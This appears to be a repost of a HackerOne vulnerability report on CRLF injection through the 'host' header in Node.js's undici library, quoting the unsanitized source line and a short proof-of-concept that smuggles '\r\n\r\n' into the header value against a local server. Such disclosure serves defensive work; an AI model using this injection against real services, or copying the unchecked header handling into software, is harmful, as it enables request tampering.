CRLF Injection in Nodejs ‘undici’ via host

渗透技巧 1年前 (2023) admin
426 0 0
Summary:
undici library should be protects HTTP headers from CRLF injection vulnerabilities. However, CRLF injection exists in the ‘host’ header of undici.request api.
Description:
like https://hackerone.com/reports/1664019 Source code: lib/core/request.js:296

function processHeader (request, key, val) {
if (val && (typeof val === ‘object’ && !Array.isArray(val))) {
throw new InvalidArgumentError(`invalid ${key} header`)
} else if (val === undefined) {
return
}

if (
request.host === null &&
key.length === 4 &&
key.toLowerCase() === ‘host’
) {
// Consumed by Client
request.host = val // without headerCharRegex.exec(val)
} else if (
request.contentLength === null &&

Example:

import { request } from ‘undici’

const unsanitizedContentTypeInput = ’12 \r\n\r\naaa:aaa’

const {
statusCode,
headers,
trailers,
body
} = await request(‘http://127.0.0.1:23333’, {
method: ‘GET’,
headers: {
‘content-type’: ‘application/json’,
‘host’: unsanitizedContentTypeInput
}
})

console.log(‘response received’, statusCode)
console.log(‘headers’, headers)

for await (const data of body) {
console.log(‘data’, data)
}

console.log(‘trailers’, trailers)

CRLF Injection in Nodejs ‘undici’ via host

Impact:

Impact

 

原文始发于Hackerone(timon8):CRLF Injection in Nodejs ‘undici’ via host

版权声明:admin 发表于 2023年2月23日 下午11:39。
转载请注明:CRLF Injection in Nodejs ‘undici’ via host | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...